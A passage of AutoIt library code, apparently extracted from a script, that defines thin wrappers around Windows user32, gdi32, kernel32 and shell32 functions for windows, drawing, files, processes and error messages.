- EndFunc
- Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
- Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
- Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
- DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
- Return SetError(@error, @extended, $tpoint)
- EndFunc
- Func _winapi_closehandle($hobject)
- Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
- Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_commdlgextendederror()
- Local Const $cderr_dialogfailure = 65535
- Local Const $cderr_findresfailure = 6
- Local Const $cderr_initialization = 2
- Local Const $cderr_loadresfailure = 7
- Local Const $cderr_loadstrfailure = 5
- Local Const $cderr_lockresfailure = 8
- Local Const $cderr_memallocfailure = 9
- Local Const $cderr_memlockfailure = 10
- Local Const $cderr_nohinstance = 4
- Local Const $cderr_nohook = 11
- Local Const $cderr_notemplate = 3
- Local Const $cderr_registermsgfail = 12
- Local Const $cderr_structsize = 1
- Local Const $fnerr_buffertoosmall = 12291
- Local Const $fnerr_invalidfilename = 12290
- Local Const $fnerr_subclassfailure = 12289
- Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
- If @error Then Return SetError(@error, @extended, 0)
- Switch $aresult[0]
- Case $cderr_dialogfailure
- Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
- Case $cderr_findresfailure
- Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
- Case $cderr_initialization
- Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
- Case $cderr_loadresfailure
- Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
- Case $cderr_loadstrfailure
- Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
- Case $cderr_lockresfailure
- Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
- Case $cderr_memallocfailure
- Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
- Case $cderr_memlockfailure
- Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
- Case $cderr_nohinstance
- Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
- Case $cderr_nohook
- Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
- Case $cderr_notemplate
- Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
- Case $cderr_registermsgfail
- Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
- Case $cderr_structsize
- Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
- Case $fnerr_buffertoosmall
- Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
- Case $fnerr_invalidfilename
- Return SetError($aresult[0], 0, "A file name is invalid.")
- Case $fnerr_subclassfailure
- Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
- EndSwitch
- Return Hex($aresult[0])
- EndFunc
- Func _winapi_copyicon($hicon)
- Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createcompatibledc($hdc)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
- Local $snametype = "wstr"
- If $sname = "" Then
- $sname = 0
- $snametype = "ptr"
- EndIf
- Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
- Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
- If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
- If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
- If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
- If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
- If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
- If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
- Switch $icreation
- Case 0
- $icd = $create_new
- Case 1
- $icd = $create_always
- Case 2
- $icd = $open_existing
- Case 3
- $icd = $open_always
- Case 4
- $icd = $truncate_existing
- EndSwitch
- If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
- If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
- If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
- If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
- Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
- If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createfontindirect($tlogfont)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
- Local $tcommand = 0
- Local $sappnametype = "wstr", $sdirtype = "wstr"
- If $sappname = "" Then
- $sappnametype = "ptr"
- $sappname = 0
- EndIf
- If $scommand <> "" Then
- $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
- DllStructSetData($tcommand, "Text", $scommand)
- EndIf
- If $sdir = "" Then
- $sdirtype = "ptr"
- $sdir = 0
- EndIf
- Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
- Local $hdc = _winapi_getdc($hwnd)
- Local $hdestdc = _winapi_createcompatibledc($hdc)
- Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
- Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, 1, 0)
- DllStructSetData($trect, 2, 0)
- DllStructSetData($trect, 3, $iwidth)
- DllStructSetData($trect, 4, $iheight)
- If $brgb Then
- $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
- EndIf
- Local $hbrush = _winapi_createsolidbrush($icolor)
- _winapi_fillrect($hdestdc, $trect, $hbrush)
- If @error Then
- _winapi_deleteobject($hbitmap)
- $hbitmap = 0
- EndIf
- _winapi_deleteobject($hbrush)
- _winapi_releasedc($hwnd, $hdc)
- _winapi_selectobject($hdestdc, $hold)
- _winapi_deletedc($hdestdc)
- If NOT $hbitmap Then Return SetError(1, 0, 0)
- Return $hbitmap
- EndFunc
- Func _winapi_createsolidbrush($ncolor)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
- If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
- Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
- Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_deletedc($hdc)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_deleteobject($hobject)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_destroyicon($hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_destroywindow($hwnd)
- Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
- Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
- Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
- Local $ioptions
- Switch $iflags
- Case 1
- $ioptions = $__winapiconstant_di_mask
- Case 2
- $ioptions = $__winapiconstant_di_image
- Case 3
- $ioptions = $__winapiconstant_di_normal
- Case 4
- $ioptions = $__winapiconstant_di_compat
- Case 5
- $ioptions = $__winapiconstant_di_defaultsize
- Case Else
- $ioptions = $__winapiconstant_di_nomirror
- EndSwitch
- Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
- _winapi_moveto($hdc, $ix1, $iy1)
- If @error Then Return SetError(@error, @extended, False)
- _winapi_lineto($hdc, $ix2, $iy2)
- If @error Then Return SetError(@error, @extended, False)
- Return True
- EndFunc
- Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
- Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
- Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Return $acall[4]
- EndFunc
- Func _winapi_enablewindow($hwnd, $fenable = True)
- Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_enumdisplaydevices($sdevice, $idevnum)
- Local $tname = 0, $iflags = 0, $adevice[5]
- If $sdevice <> "" Then
- $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
- DllStructSetData($tname, "Text", $sdevice)
- EndIf
- Local $tdevice = DllStructCreate($tagdisplay_device)
- Local $idevice = DllStructGetSize($tdevice)
- DllStructSetData($tdevice, "Size", $idevice)
- DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
- If @error Then Return SetError(@error, @extended, 0)
- Local $in = DllStructGetData($tdevice, "Flags")
- If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
- If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
- If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
- If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
- If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
- If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
- $adevice[0] = True
- $adevice[1] = DllStructGetData($tdevice, "Name")
- $adevice[2] = DllStructGetData($tdevice, "String")
- $adevice[3] = $iflags
- $adevice[4] = DllStructGetData($tdevice, "ID")
- Return $adevice
- EndFunc
- Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
- __winapi_enumwindowsinit()
- If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
- __winapi_enumwindowschild($hwnd, $fvisible)
- Return $__gawinlist_winapi
- EndFunc
- Func __winapi_enumwindowsadd($hwnd, $sclass = "")
- If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
- $__gawinlist_winapi[0][0] += 1
- Local $icount = $__gawinlist_winapi[0][0]
- If $icount >= $__gawinlist_winapi[0][1] Then
- ReDim $__gawinlist_winapi[$icount + 64][2]
- $__gawinlist_winapi[0][1] += 64
- EndIf
- $__gawinlist_winapi[$icount][0] = $hwnd
- $__gawinlist_winapi[$icount][1] = $sclass
- EndFunc
- Func __winapi_enumwindowschild($hwnd, $fvisible = True)
- $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
- While $hwnd <> 0
- If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
- __winapi_enumwindowschild($hwnd, $fvisible)
- __winapi_enumwindowsadd($hwnd)
- EndIf
- $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
- WEnd
- EndFunc
- Func __winapi_enumwindowsinit()
- ReDim $__gawinlist_winapi[64][2]
- $__gawinlist_winapi[0][0] = 0
- $__gawinlist_winapi[0][1] = 64
- EndFunc
- Func _winapi_enumwindowspopup()
- __winapi_enumwindowsinit()
- Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
- Local $sclass
- While $hwnd <> 0
- If _winapi_iswindowvisible($hwnd) Then
- $sclass = _winapi_getclassname($hwnd)
- If $sclass = "#32768" Then
- __winapi_enumwindowsadd($hwnd)
- ElseIf $sclass = "ToolbarWindow32" Then
- __winapi_enumwindowsadd($hwnd)
- ElseIf $sclass = "ToolTips_Class32" Then
- __winapi_enumwindowsadd($hwnd)
- ElseIf $sclass = "BaseBar" Then
- __winapi_enumwindowschild($hwnd)
- EndIf
- EndIf
- $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
- WEnd
- Return $__gawinlist_winapi
- EndFunc
- Func _winapi_enumwindowstop()
- __winapi_enumwindowsinit()
- Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
- While $hwnd <> 0
- If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
- $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
- WEnd
- Return $__gawinlist_winapi
- EndFunc
- Func _winapi_expandenvironmentstrings($sstring)
- Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
- If @error Then Return SetError(@error, @extended, "")
- Return $aresult[2]
- EndFunc
- Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
- Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_fatalappexit($smessage)
- DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
- If @error Then Return SetError(@error, @extended)
- EndFunc
- Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
- Local $aresult
- If IsPtr($hbrush) Then
- $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
- Else
- $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
- EndIf
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_findexecutable($sfilename, $sdirectory = "")
- Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
- If @error Then Return SetError(@error, @extended, 0)
- Return SetExtended($aresult[0], $aresult[3])
- EndFunc
- Func _winapi_findwindow($sclassname, $swindowname)
- Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_flashwindow($hwnd, $finvert = True)
- Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
- Local $tflash = DllStructCreate($tagflashwinfo)
- Local $iflash = DllStructGetSize($tflash)
- Local $imode = 0
- If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
- If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
- If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
- If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
- DllStructSetData($tflash, "Size", $iflash)
- DllStructSetData($tflash, "hWnd", $hwnd)
- DllStructSetData($tflash, "Flags", $imode)
- DllStructSetData($tflash, "Count", $icount)
- DllStructSetData($tflash, "Timeout", $itimeout)
- Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_floattoint($nfloat)
- Local $tfloat = DllStructCreate("float")
- Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
- DllStructSetData($tfloat, 1, $nfloat)
- Return DllStructGetData($tint, 1)
- EndFunc
- Func _winapi_flushfilebuffers($hfile)
- Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
- Local $sbuffertype = "struct*"
- If IsString($pbuffer) Then $sbuffertype = "wstr"
- Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
- If @error Then Return SetError(@error, @extended, 0)
- If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _winapi_framerect($hdc, $ptrrect, $hbrush)
- Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_freelibrary($hmodule)
- Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_getancestor($hwnd, $iflags = 1)
- Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getasynckeystate($ikey)
- Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getbkmode($hdc)
- Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getclassname($hwnd)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
- If @error Then Return SetError(@error, @extended, False)
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_getclientheight($hwnd)
- Local $trect = _winapi_getclientrect($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
- EndFunc
- Func _winapi_getclientwidth($hwnd)
- Local $trect = _winapi_getclientrect($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
- EndFunc
- Func _winapi_getclientrect($hwnd)
- Local $trect = DllStructCreate($tagrect)
- DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $trect
- EndFunc
- Func _winapi_getcurrentprocess()
- Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getcurrentprocessid()
- Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getcurrentthread()
- Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getcurrentthreadid()
- Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getcursorinfo()
- Local $tcursor = DllStructCreate($tagcursorinfo)
- Local $icursor = DllStructGetSize($tcursor)
- DllStructSetData($tcursor, "Size", $icursor)
- DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
- If @error Then Return SetError(@error, @extended, 0)
- Local $acursor[5]
- $acursor[0] = True
- $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
- $acursor[2] = DllStructGetData($tcursor, "hCursor")
- $acursor[3] = DllStructGetData($tcursor, "X")
- $acursor[4] = DllStructGetData($tcursor, "Y")
- Return $acursor
- EndFunc
- Func _winapi_getdc($hwnd)
- Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdesktopwindow()
- Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdevicecaps($hdc, $iindex)
- Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
- Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdlgctrlid($hwnd)
- Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdlgitem($hwnd, $iitemid)
- Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getfocus()
- Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
- If @error Then Return SetError(@error, @extended, 0)
